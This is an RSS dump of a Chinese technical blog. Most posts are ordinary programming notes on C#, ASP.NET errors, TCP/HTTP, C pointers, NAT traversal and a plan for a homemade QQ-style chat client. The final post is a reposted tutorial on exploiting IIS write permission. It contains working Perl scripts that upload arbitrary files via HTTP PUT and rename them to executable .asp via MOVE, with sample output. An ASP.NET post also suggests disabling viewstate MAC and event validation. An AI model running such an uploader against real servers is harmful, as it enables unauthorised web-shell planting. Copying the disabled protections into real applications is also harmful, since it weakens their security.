清风的blog - 技术笔记http://blog.careff.com/优然探索 - RainbowSoft Studio Z-Blog 2.2 Prism Build 140101zh-CNCopyright (C) 2008-2024 careff.com Inc.,All Rights Reserved. 雅虎统计 Tue, 09 Jun 2026 11:29:48 +08002014建筑a@b.com (admin)http://blog.careff.com/post/399.htmlMon, 07 Jul 2014 09:36:19 +0800http://blog.careff.com/post/399.html2014管理：http://pan.baidu.com/share/init?shareid=3322142821&uk=2452658346           提取密码:tzn1

2014法规：http://pan.baidu.com/share/init?shareid=3326864641&uk=2452658346           提取密码:6s7j


2014经济：http://pan.baidu.com/share/init?shareid=3330430614&uk=2452658346           提取密码:xicf


2014建筑：http://pan.baidu.com/share/init?shareid=3334388485&uk=2452658346           提取密码:rn2s


2014市政：http://pan.baidu.com/share/init?shareid=3337771626&uk=2452658346           提取密码:egc4


2014机电：http://pan.baidu.com/share/init?shareid=3340970891&uk=2452658346           提取密码:i49i


2014公路：http://pan.baidu.com/share/init?shareid=3345971046&uk=2452658346           提取密码:1cxj


2014水利：http://pan.baidu.com/share/init?shareid=3349792342&uk=2452658346           提取密码:498r

]]>技术笔记http://blog.careff.com/post/399.html#commenthttp://blog.careff.com/feed.asp?cmt=399C#中取整和取小数问题a@b.com (admin)http://blog.careff.com/post/398.htmlMon, 23 Jun 2014 22:04:34 +0800http://blog.careff.com/post/398.html解答已经补充了，希望可以帮助你。
若A=23.56，要想得到 B=23，C=0.56
floor 直接往小的取，比如 floor(-23.56)=-24，floor搜索(23.56)=23
trunc 直接切下整数，比如 trunc(-23.56)=-23, floor(23.56)=23
ceil 直接往大的取，比如 ceil(-23.56)=-23， ceil(23.56)=24
round 计算四舍五入，比如 round(-23.56)=-24，round(23.56)=24
取整部分利用取整函数就可以；
取小数部分就是用原来的数减去取整部分，剩下的就是小数部分了。
直接取小数的函数应该是没有的吧，这样可以了吧？

 

]]>技术笔记http://blog.careff.com/post/398.html#commenthttp://blog.careff.com/feed.asp?cmt=398验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载,请确保&lt;machineKey&gt;a@b.com (admin)http://blog.careff.com/post/396.htmlWed, 04 Jun 2014 08:04:47 +0800http://blog.careff.com/post/396.html验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载,请确保<machineKey>
 

验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载，请确保 <machineKey> 配置指定了相同的 validationKey 和验证算法。不能在群集中使用 AutoGenerate。
说明: 执行当前 Web 请求期间，出现未处理的异常。请检查堆栈跟踪信息，以了解有关该错误以及代码中导致错误的出处的详细信息。
异常详细信息: System.Web.HttpException: 验证视图状态 MAC 失败。如果此应用程序由网络场或群集承载，请确保 <machineKey> 配置指定了相同的 validationKey 和验证算法。不能在群集中使用 AutoGenerate。

分析：

分析后找到了问题的根源。首先，文章中提到，如果用GridView，并且指定了DataKeyNames属性，则出于安全的理由（因为DataKeyNames指定的字段代表数据的主键，且该主键值需要保存在视图状态中发送到客户端，用户如果篡改主键值，会导致安全问题），GridView会要求加密视图状态。为此会自动在页面表单</forms>之前添加一个

<input type="hidden" name="__VIEWSTATEENCRYPTED" id="__VIEWSTATEENCRYPTED" value="" />

。

然而，Atlas的UpdatePanel要求放置在<form></form>内部，也就是</form>之前。这就意味着添加的隐藏input控件没有被放置在UpdatePanel内，而是放置在UpdatePanel和</form>之间。

当UpdatePanel更新时，UpdatePanel内部的控件被提交到服务器进行处理（Patrial Rendering），而整个页面并没有被提交。也就是说隐藏的input控件没有随着一起提交。因此服务器并不知道提交的ViewState被加密了，从而导致MAC验证错误。

解决方法有二，仅供参考：

1.可以在当前页面的<page ...>里加两个属性：
enableEventValidation="false" viewStateEncryptionMode ="Never"

2.当然还可以在web.config里加入：（<system.web>之间）

<pages enableEventValidation="false" viewStateEncryptionMode ="Never" />

其余方法   

在web.config中的pages节点上添加enableviewstatemac=false 

附带：

          一般而言是因为你的某些操作修改了视图状态，我猜测你可能使用了ajax并在客户端用javascript动态添加了某些项

1. 在出错页面的 <%@ page %>中加enableviewstatemac="false"无效。 
2. 在web.config的 <system.web>节中加

<machineKey validationKey="3FF1E929BC0534950B0920A7B59FA698BD02DFE8" decryptionKey="280450BB36319B474C996B506A95AEDF9B51211B1D2B7A77" decryption="3DES" validation="SHA1"/>

我的问题是加入：

<machineKey validationKey="d41d8cd98f00b204e9800998ecf8427e0e5798a7e2c46b2fd4f0277bceaf08e1" validation="SHA1"/>

解决

最重要的是检查自己的页面，很可能是你的页面中的问题，多注意下，肯定能发现问题，而这个问题并没有报出你想要的错误 ！！！      

所以，不一定所有的解决方案都适合你！！！

]]>技术笔记http://blog.careff.com/post/396.html#commenthttp://blog.careff.com/feed.asp?cmt=396android中Http和Socket连接的区别？a@b.com (admin)http://blog.careff.com/post/394.htmlMon, 19 May 2014 14:00:22 +0800http://blog.careff.com/post/394.htmlTcp连接:
手机能够使用联网功能是因为手机底层实现了TCP/IP协议，可以使手机通过无线网络建立TCP连接。
建立一个TCP连接需要经过“三次握手”，具体如下：
第一次握手：客户端发送请求包到服务器，等待服务器确认
第二次握手：服务器响应客户端请求，同时也发送一个回应包给客户端
第三次握手：客户端收到服务器的回应包后，向服务器发送确认包

握手过程中传送的包里，不包含数据，三次握手完毕后，客户端与服务端才正式的开始传递数据。
TCP一旦连接起来，在客户端和服务端任何一方主动关闭连接之前，TCP连接都将被一直保持下去。
断开连接时，服务器和客户端都可以主动发起断开TCP连接的请求，断开过程需要经过“四次握手”

Http连接：
Http协议是建立在TCP协议之上的一种应用。它与TCP连接不同之处在于，客户端每次请求都需要服务器
返回响应，在请求结束后，会主动释放连接。由于HTTP每次请求都会释放连接，因为HTTP连接是一种“短连接”，所
以要保持客户端在线状态，就必须不停地向服务器发起连接请求。所以在开发过程中，即使不需要获得任何数据，
客户端也要保持每隔一段时间向服务器发送一次请求，以保证通信的正常。


Socket连接：
Socket是通信的基石，是支持TCP/IP协议的网络通信的基本操作单元。
建立Socket连接需要一对套接字，其中一个运行客户端，另一个运行服务器端，套接字之间的连接过程分为
三个步骤：服务器监听，客户端请求，连接确认。

]]>技术笔记http://blog.careff.com/post/394.html#commenthttp://blog.careff.com/feed.asp?cmt=394SQL2000无日志恢复数据库，已经测试非常好用a@b.com (admin)http://blog.careff.com/post/393.htmlFri, 16 May 2014 09:58:01 +0800http://blog.careff.com/post/393.htmlEXEC   sp_attach_single_file_db   @dbname   = 'AutoWeb',  
@physname = 'F:\DataBase\2012\AutoWeb_Data.MDF'

]]>技术笔记http://blog.careff.com/post/393.html#commenthttp://blog.careff.com/feed.asp?cmt=393继续讲讲怎么自己编写QQ（自编QQ铺垫篇之三）a@b.com (admin)http://blog.careff.com/post/392.htmlWed, 14 May 2014 10:28:46 +0800http://blog.careff.com/post/392.html这篇是关于C++入门。

为了自编一个聊天程序，我们先考虑一下每一个聊天个体在程序中是个什么存在形式。

一个个体（这里把一个参与聊天的个体成为一个对象）有多个属性，比如他的昵称、他的ID、他的IP地址和端口等，这些属性都属于同一个对象；对于每个人，他和别的人都可能产生对话，那么这些对话都是需要保存的，否则你切换一个聊天对象，之前对象的聊天内容都不在了。

为了给所有对象一个唯一且易查找的标志，ID属性是必要的，而且最好用无符号整数来表示。

C++是面向对象的语言，对象是什么？

好吧，你该反思为什么你现在还没对象了。

类是对象的抽象。

有个故事是一个人去水果摊买水果，姑且叫他琪琪。

琪琪：我买水果

店家：什么水果？

琪琪：我买水果。

店家：拿，香蕉。

琪琪：我要水果。

店家：（手拿梨子）给。

琪琪：我要水果。

店家觉得这货太装逼了，一把刀砍死了琪琪。

 

从这个故事我们可以看出类和对象的关系，故事中有一个水果类CFruit：

class CFruit

{

CString Name;

CColor Color;

CTaste Taste;

CFruit(CString Name);

};

前三行中的CString、CColor、CTaste都是类型名，它们前面的“C”是Class的意思，表示这个类型是一个类（区别于int这些基础类型）；跟在它们后面的是对应类型的变量Name、Color、Taste，而它们在CFruit类中就叫CFruit类的成员变量。

最后一行的与类名同名的一个函数，没有返回值，参数根据需要可有可无。它叫做这个类的构造函数，每新建一个该类的对象就会显式或隐式地调用这个函数。

显式像这样：

CFruit *Apple=new CFruit("苹果");

或者这样：

CFruit Apple=*(new CFruit("苹果"));

任何类的对象都可以用new来新建，它的返回值是该对象的指针。

前者用的是传指针的方法来获得生成的对象

后者是用的传值的方法来复制了一个新生成的对象。

所以琪琪应该说“我要买名叫XX的水果”。

我们在操作系统中也不能要水果，一定要指明要什么样的水果。

不过水果是什么，还得我们告诉操作系统。

这是哲学么？

好了，类就说到这里。

考虑服务程序端，一个聊天对象可以定义为这样的一个类：

class CUser

{

unsigned int UserID;

CString NickName;//CString 是C++中的一个类，它集成了关于字符串的很多属性以及操作。

CString ClientIP;用例如“113.54.141.250”的字符串形式保存客户端IP

int ClientPort;

CUser(int userid,CString nickname);//构造函数，在构造的时候就为该对象赋值。

};

如果聊天记录保存在客户端，那么服务端知道这些信息就够了。

服务端会利用这个类为每个聊天个体构造一个对象，从而保存下所有聊天个体的必要信息。

对于客户端，定义这样一个类：

class CPeer

{

unsigned int PeerID;

CString NickName;

CString Dialog;//保存与该类的对象的聊天记录。

};

差不多就这样了。

然后预告一下下期节目：

1.socket网络编程。

2.我们用MFC编写windows平台的可视化程序。

SDK：Visual Studio 2010

语言：C/C++

 

服务端的属性与工作：

服务端需要一个固定的公网IP和端口；

记录每个客户端的连接信息；

新用户上线时服务端通知其他所有客户端有新用户上线，并且把其他所有用户的信息送到新上线的这个客户端；

转发客户端之间的消息；

定时更新每个用户的上下线状态；

 

客户端：

以UDP报文的方式告诉给服务器端它选择的聊天对象以及消息内容；

由于是UDP方式，需要定时刷新与服务端的连接；

保存聊天记录。

]]>技术笔记http://blog.careff.com/post/392.html#commenthttp://blog.careff.com/feed.asp?cmt=392C语言中的数据类型、指针、unsigned与signed、位操作有关知识（自编QQ铺垫篇之二）a@b.com (admin)http://blog.careff.com/post/391.htmlWed, 14 May 2014 10:28:28 +0800http://blog.careff.com/post/391.htmlC语言是一门语法非常严格的计算机编程语言。

C语言中为什么在声明变量时需要确定这个变量的类型？

因为C语言中变量的操作是和内存紧密相关的，变量的类型确定了它在内存中的结构，比如int型变量是内存中的连续4个字节（通常是这样），char型变量时内存中的一个字节，而一个结构体占用的内存长度则在它定义好的时候就确定了。

（说起来好像是废话。）

为什么所有变量的指针都相当于一个32位整数（int），在定义一个指针变量时却要声明它指向的变量的类型？

因为程序只有知道它指向的变量的类型才知道怎么对这个变量进行操作。

比如你定义一个结构体

struct rectangle

{

int x1,y1,x2,y2;

};

定义一个rectangle变量：rectangle MyRect;

然后定义一个指针

rectangle *pt_rect=&MyRect;

然后你写int left=pt_rect->x1的时候，程序知道去pt_rect指针指向的变量中读取x1对应的那段内存；

试试定义一个int *test;

如果你强行写下test->x1;编译器会报错，因为int类型中没有对应的x1元素。

来玩玩数组的降维：

定义一个整型数组：

int x[3][4];

然后把int x[3][4]变成长度为12的一维数组y;

可能最容易想到的是先定义一个int y[12]用两层循环来把x数组中的数挨个赋值到y数组中，这完全不是什么好办法。了解数组的会知道，数组在内存中是连续的，x和y数组都有12个数，都是整形，这样它们在内存中的存放形式完全没有区别。然后还得了解x和y作为数组名，其实都是指针，只不过系统为它们保存了不同的信息：

（为了不浪费内存，所以只定义一个整形指针int *y;而不定义为int y[12]了；）

x指向一个3x4规模的二维数组，都是整形元素，且x是指针常量，无法被重新赋值；

y可以指向一个任意的整数；

然后把y指向x数组的头部：y=x;

但是编译器会报错或者警告，说类型不匹配，怎么办呢？

这样：y=(int *)x;对x的类型做了强制转换，程序认为赋给y的就是一个一维数组的指针。

然后就可以这样使用这个“一维数组”了：y[i]；不过现在系统不知道y的长度了，请自己注意0<=i<12；

再举一个例子：

char x[4]={0x12,0x34,0x56,0x78};

怎么把x数组转换为整形0x12345678？

由之前讲的可以知道x数组在内存中连续摆放，占用了一个整形的长度，也就是与整形变量0x12345678在内存中的摆放形式一样；

也就是说我们只要让程序认为x那儿就是一个整形变量就可以了；

定义一个int *n;

令n=(int *)x;

然后*n就是x数组对应的整型值0x12345678了。

解释一下：x是指向char的指针，(int *)x是对x做了一个强制转换，让系统认为这个指针指向的是整型变量，然后赋给整形指针变量n；

然后*n是对指针取指向内存的值，程序按照int的约定规则取值，取出来的就是0x12345678这个数了。

注意星号的作用：在定义变量的时候表示该变量为指针，而在其他时候表示对某个指针取该指针指向变量的值。

其实定义数据类型只是为了告诉程序或者操作系统要以怎么样的规则来操作一块内存，对指针熟悉之后，你可以几乎不用定义任何数据类型，完全用空指针和位操作来实现你想实现的操作。

————————————————————分割————————————————————

下面讲述位操作里面的移位操作；

“<<”符号表示对变量中的二进制位依次向左移，x<<n表示对x变量中的二进制位左移n位。然后超出的部分被截断，低位补0；

“>>”符号表示右移，超出的截断，高位补上；

假设int x=1;那么x<<8==256，这是高位没有溢出的情况，溢出的话换算为2进制来模拟移动也可以计算出结果；

假设int x=11111111 11111111 11111111 11111111;

x>>1的结果是多少？

是01111111 11111111 11111111 11111111吗？

x>>n的结果是前面有n个0吗？

不，结果都是11111111 11111111 11111111 11111111；

你会发现不管n等于多少，x都没有变化，还是32个1。

原因是操作系统在对内存进行移位时会保持变量符号不变，所以对首位是1的整数（负数）进行右移位操作时，最高位总是补1，而不是补0；

所以为了在进行移位操作时不出现意外情况，请把变量声明为unsigned；

另外有时候对char型变量赋整数值并对char型变量比较大小的时候，也可以声明为unsigned char来避免出现意外情况。

例如假设令char a=0x8F;

然后if(a==0x8F)printf("a eqauls 0x8F");

发现不会有输出，为什么呢？

因为声明char的时候默认为有符号型，a在这儿被赋值为10001111，当做有符号型来看的话相当于-113（负113），当然不等于0x8F这个正数。

以上这些内容也是之后自编QQ的一些数据处理会涉及到的问题。

]]>技术笔记http://blog.careff.com/post/391.html#commenthttp://blog.careff.com/feed.asp?cmt=391QQ通信原理（自编QQ铺垫篇之一）a@b.com (admin)http://blog.careff.com/post/390.htmlWed, 14 May 2014 10:26:45 +0800http://blog.careff.com/post/390.htmlQQ的文字通信采用UDP通信方式，UDP的特点是发送后不管；缺点是不保证数据的到达、不保证数据的正确到达以及数据到达后的顺序性，但是优点在于即时性与编程的简单性。

对于单向发送数据（假设A->B），有以下几种情形：（以下内容中外网和公网是一个概念，内网和局域网是一个概念）

CASE1：A具有一个公网IP，B具有一个公网IP：很简单地，沿路的路由会毫无疑问地把A的消息转发至B，反之亦然；

CASE2：A在局域网内，B具有公网IP：仅考虑单向传输，数据传送难度和情况1相同；

CASE3：A在公网，B在局域网：

不如前两种情况容易实现。

考虑一下，你怎么才能知道B在局域网中的地址？B又在几层局域网之下？B的每一层路由从上一层分配到的内网IP又是多少？不要以为这是很特殊的情况，我们在清水河就是这种情况：一般寝室里有1个路由，假设我们从这个路由分配到的IP可能是192.168.1.8，然后这个路由又从宿舍楼的交换器上分配到的IP可能是113.54.140.10，然后不知道宿舍楼的交换机还有没有上层局域网，假设它就直接接入到公网IP 125.71.229.128（这是清水河校区的公网IP）。

然后讨论一下外网中的计算机怎么把数据发送到你的电脑：

A方案：端口映射：

路由器一般都有这个功能，假设你分配到的IP是192.168.1.8。

去路由器设置中的虚拟服务器设置中可以看到端口映射选项，如果你把80端口映射到你的IP，那么你搭建的web服务器（使用80端口）就可以被这个路由的上层网络访问了。

怎么访问呢，在路由器的上层网络所包含的任意一台主机（本楼的任意一台主机）上输入路由IP+端口113.54.140.10:80或者直接在浏览器里面输入路由IP就可以访问到你在路由器下这个局域网中搭建的web页面了；同理使用其他端口的应用也如此。然后我们对交换机做映射，把80端口映射给你的路由路由的IP 192.168.1.8，整个环节相当于：

访问125.71.229.128:80（寝室楼交换机接入公网的IP）->跳转至113.54.140.10:80（路由接入交换机的IP）->跳转至192.168.1.8:80（你的电脑接入路由的IP），然后获取到你的计算机的80端口的服务，外网的计算机就能看到你搭建在内网的web页面了。假设QQ的默认端口是1234，那么你就层层映射1234端口，同样的道理。

可事实上这种办法不适用QQ这种通信工具，原因如下：

a，设置麻烦；

b，映射一个端口只能供一个用户使用，而端口有限，其他应用程序的端口要求会受到侵犯；

c，降低你电脑网络环境的安全性，因为这相当于打开了一扇直通你电脑的门，而路由本身对外网的屏蔽性的优点被你舍弃了；

d，交换机可不是你想设置就能设置的；

e，再说QQ就不是这么做的尴尬

所以讨论下一种方法：

B方案：既然内网能没问题地连接上外网计算机，那么可以让内网计算机把它的网络路径情况都告诉给外网计算机，然后外网计算机把路径给写入IP报文里，让路由负责转发就是了。

可实际上因为IP报文里无法包含除了目标地址和源地址以外的信息，于是连内网计算机自己都不清楚自己到外网经过的路径的情况，更不用说外网计算机把这些信息写在它发送出的IP报文里了。

再说，路由的端口对外网都是默认关闭的。

C方案：内网穿透（NAT）：

其实路由器有个功能，从内网发送出的数据经过的端口会在一定时间内保持打开状态，这段时间内外网可以从这个端口送入数据；

假设一个数据包经过了这样的路径：192.168.1.8:345->113.54.140.10:1234->125.71.229.128:2345，那么在一定时间内，如果有个数据包发送给125.71.229.128:2345，它就会沿原路相反方向被送到192.168.1.8:345。

CASE 4：A和B都在内网，这时候A和B都不知道对方的地址，那么就需要一个架设在公网的服务器来作为二者的沟通了。

这也就是后面自己编写QQ要用到的知识，如果涉及到文件和图片的传输，还涉及到端口预测和TCP连接的建立。因为只教大家写文字版的QQ，所以有这些就够了。

]]>技术笔记http://blog.careff.com/post/390.html#commenthttp://blog.careff.com/feed.asp?cmt=390&lt; meta http-equiv = &quot;X-UA-Compatible&quot; content = &quot;IE=edge,chrome=1&quot; /&gt;a@b.com (admin)http://blog.careff.com/post/389.htmlFri, 25 Apr 2014 08:45:59 +0800http://blog.careff.com/post/389.html

< meta http-equiv = "X-UA-Compatible" content = "IE=edge,chrome=1" />

(2012-03-09 16:31:07)
转载▼
标签： 

it

 分类： html

注：本文转载于互联网.

介绍:
这是个是IE8的专用标记,用来指定IE8浏览器去模拟某个特定版本的IE浏览器的渲染方式（比如人见人烦的IE6），以此来解决部分兼容问题，例如模拟IE7的具体方式如下：
< meta http-equiv = "X-UA-Compatible" content = "IE=EmulateIE7" />
但令我好奇的是，此处这个标记后面竟然出现了chrome这样的值，难道IE也可以模拟chrome了？
迅速搜索了一下，才明白原来不是微软增强了IE，而是谷歌做了个外挂：Google Chrome Frame（谷歌内嵌浏览器框架GCF）。这个插件可以让用户的IE浏览器外不变，但用户在浏览网页时，实际上使用的是Google Chrome浏览器内核，而且支持IE6、7、8等多个版本的IE浏览器，谷歌这个墙角挖的真给力！
而上文提到的那个meta标记，则是在是安装了GCF后，用来指定页面使用chrome内核来渲染。
GCF下载地址: http://code.google.com/intl/zh-CN/chrome/chromeframe/
安装完成后,如果你想对某个页面使用GCF进行渲染，只需要在该页面的地址前加上 gcf： 即可，例如： gcf:http://cooleep.com
但是如果想要在开发时指定页面默认首先使用GCF进行渲染，如果未安装GCF再使用IE内核进行渲染，该如何进行呢？
就是使用这个标记。

标记用法：
阅读了下chrome的开发文档（http://www.chromium.org/developers/how-tos/chrome-frame-getting-started，需翻墙），下面来简单讲解一下这个标记的语法。
1.最基本的用法：在页面的头部加入

1

< meta http-equiv = "X-UA-Compatible" content = "chrome=1" >

用以声明当前页面用chrome内核来渲染。
复杂一些的就是本文一开始看到的那中用法：

1

< meta http-equiv = "X-UA-Compatible" content = "IE=edge,chrome=1" />

这样写可以达到的效果是如果安装了GCF，则使用GCF来渲染页面，如果为安装GCF，则使用最高版本的IE内核进行渲染。
2.通过修改HTTP头文件的方法来实现让指定的页面使用GCF内核进行渲染：
在HTTP的头文件中加入以下信息：X-UA-Compatible: chrome=1
在Apache服务器中，确保 mod_headers 和 mod_setenvif文件可用，然后在httpd.conf中加入以下配置信息：

1
2
3
4
5
6
< IfModule mod_setenvif.c>
< IfModule mod_headers.c>
BrowserMatch chromeframe gcf
Header append X-UA-Compatible "chrome=1" env=gcf
</ IfModule >
</ IfModule >

在IIS7或者更高版本的服务器中，只需要修改web.config文件,添加如下信息即可即可:

1
2
3
4
5
6
7
8
9
< configuration >
< system.webServer >
< httpProtocol >
< customHeaders >
< add name = "X-UA-Compatible" value = "chrome=1" />
</ customHeaders >
</ httpProtocol >
</ system.webServer >
</ configuration >
]]>技术笔记http://blog.careff.com/post/389.html#commenthttp://blog.careff.com/feed.asp?cmt=389对iis写权限的利用.txta@b.com (admin)http://blog.careff.com/post/345.htmlWed, 27 Jun 2012 08:59:48 +0800http://blog.careff.com/post/345.html大家可能看过《远程分析IIS设置》，里面对iis的各种设置进行了分析，我这里就对iis的写权限来分析下，以下引用《远程分析IIS设置》文章对iis

写权限分析内容：

写权限

　　测试一个目录对于web用户是否具有写权限，采用如下方法：telnet到服务器的web端口(80)并发送一个如下请求：

PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10

 

PUT /my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10

 

PUT /a.asp HTTP/1.1
Host: iis-server
Content-Length: 10

　　这时服务器会返回一个100( 继续)的信息：

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT

　　接着，我们输入10个字母：

AAAAAAAAAA

　　送出这个请求后，看服务器的返回信息，如果是一个 201 Created响应：

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location:http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK

　　那么就说明这个目录的写权限是开着的，反之，如果返回的是一个403错误，那么写权限就是没有开起来，如果需要你认证，并且返回一个 401(

权限禁止) 的响应的话，说明是开了写权限，但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话，那么web用户就可以

上传一个程序并且执行它，恐怖哦%^#$!~

　　这里简单说明下：

PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10

　　PUT：请求服务器将附件的实体储存在提供的请求URL处，如果该请求URL指向的资源已经存在，则附件实体应被看做是当前原始服务器上资源的修

改版本。如果请求URL没有指向现存的资源，该URL将被该请求的用户代理定义成为一个新的资源，原始服务器将用该URL产生这个资源。
　　Host：是HTTP请求的发送地址
　　Content-Length：是内容长度，也就是实体长度，该长度值和上传的文件大小一致

　　用nc（telnet）提交很烦琐，我们这里写个简单的perl程序，来完成这个复杂的提交过程，在写代码时我们用binmode()方式打开文件，代码如下

：

#!/usr/bin/perl
use IO::Socket;
$ARGC = @ARGV;

if ($ARGC != 4)
{
　　print "usage:$0 127.0.0.1 80 kaka.exe /Scripts/file.exe\n";
　　exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$file = @ARGV[2];
$path = @ARGV[3];

@s=stat("$file");
$size = $s[7]; #得到文件大小
print "$file size is $size bytes\n";

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n"; #sock连接

open(FILE,"$file");
binmode(FILE); #用2进制打开文件

while (read(FILE,$char,1024)) { #读取文件数据上传
　　print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
　　print "upfile Succeed!!!" ; #成功显示
}
else{
　　print "upfile faile!!!\n\n";
　　print @req;#如果失败显示返回错误
}
close $sock;
close FILE;


　　下面我们测试下：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.txt /Scripts/kaka.txt
kaka.txt size is 14 bytes
please wait...
upfile Succeed!!!

C:\Inetpub\Scripts>dir kaka.txt
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:37 14 kaka.txt
1 个文件 14 字节
0 个目录 3,871,080,448 可用字节


　　这里我们把kaka.txt成功上传到了web目录Scripts下，以为程序中用了binmode()方式（2进制）打开文件，应该可以上传其他文件，我们先测试

下exe文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 perl.exe /Scripts/perl.exe
perl.exe size is 20535 bytes
please wait...
upfile Succeed!!!

C:\Inetpub\Scripts>dir perl.exe
驱动器 C 中的卷没有标签。
卷的序列号是 3CD1-479E

C:\Inetpub\Scripts 的目录

2004-05-05 00:42 20,535 perl.exe
1 个文件 20,535 字节
0 个目录 3,871,031,296 可用字节

　　成功，可以上传exe了，是不是可以上传任意文件呢？接着来测试asp文件：

C:\usr\bin>perl.exe iiswt.pl 127.0.0.1 80 kaka.asp /Scripts/kaka.asp
kaka.asp size is 4 bytes
please wait...
upfile faile!!!

HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT

HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/5.0
Date: Tue, 04 May 2004 16:45:51 GMT
Connection: close
Content-Type: text/html
Content-Length: 44

<body><h2>HTTP/1.1 403 Forbidden</h2></body>


　　失败！！提示HTTP/1.1 403 Forbidden错误，看来直接用post方式写asp不行了，经过测试只要是iis支持的文件类型都会产生HTTP/1.1 403

Forbidden错误。

　　那我们怎样才可以上传iis支持的文件类型文件呢？iis除了可以执行put，post，get等动作外，还可以执行COPY, MOVE等命令，呵呵！我们这可

以先把本地asp上传到远程主机web目录下的txt等其他文件，在提过copy，move命令来改为asp。

　　我们还是先用nc提交测试下：

D:\>nc 127.0.0.1 80
MOVE /scripts/kaka.txt HTTP/1.1
Host:127.0.0.1
Destination:http://127.0.0.1/scripts/kaka.asp

HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Sun, 05 Oct 2003 09:30:59 GMT
Location:http://127.0.0.1/scripts/x.asp
Content-Type: text/xml
Content-Length: 0


　　成功利用MOVE把/scripts/kaka.txt改名/scripts/kaka.asp。这样我们就可以结合put和move来完成通过iis写容易文件了:)。我们还是用perl来

完成。

　　测试写asp成功：

C:\usr\bin>perl kaka.pl 127.0.0.1 80 kaka.asp /scripts/kaka.asp
************************************************************
codz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>
************************************************************
kaka.asp size is 4 bytes
please wait...
upfile Succeed!!!
Modifyfile Succeed!!!


　　最终的iiswrite.pl代码如下（由于写本文时，在网吧对于文章中代码是先又本人打“草稿”，又lanker测试并最终完成，THX lanker。）：

#!/usr/bin/perl
#The iiswrite Script

use IO::Socket;
$ARGC = @ARGV;
print "*" x 60;
print "\ncodz by ≯SuperHei<QQ:123230273> && lanker<QQ:18779569>\n";
print "*" x 60,"\n";
if ($ARGC != 4)
{
　　print "usage:$0 127.0.0.1 80 kaka.txt /scripts/my_file.txt\n";
　　exit;
}
$host = @ARGV[0];
$port = @ARGV[1];
$path = @ARGV[3];
$file = @ARGV[2];

@path=split("/",$path);
$any = pop(@path);
$path1=join("/",@path);
@s=stat("$file");
$size = $s[7];

print "$file size is $size bytes\n";
my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "PUT $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Content-Length: $size\n\n";
open(FILE,"$file")|| die "Can't open $file";
binmode(FILE);
while (read(FILE,$char,1024)) {
　　print $sock "$char";
}
print $sock "\n\n";
@req = <$sock>;
print "please wait...\n";
sleep(2);
if ($req[4]=~/200|201/){
　　print "upfile Succeed!!!\n" ;
}
else{
　　print "upfile faile!!!\n";
}
close $sock;
close FILE;

my $sock = IO::Socket::INET->new(Proto =>"tcp",
PeerAddr =>$host,
PeerPort =>$port) || die "Sorry! Could not connect to $host \n";
print $sock "MOVE $path1/lanker.txt HTTP/1.1\n";
print $sock "Host: $host\n";
print $sock "Destination:http://$host:$port$path\n\n\n\n";
@req = <$sock>;
if ($req[0]=~/20\d+|/){
　　print "Modifyfile Succeed!!!" ;
}
else{
　　print "upfile faile!!!";
}
close $sock;
 

]]>技术笔记http://blog.careff.com/post/345.html#commenthttp://blog.careff.com/feed.asp?cmt=345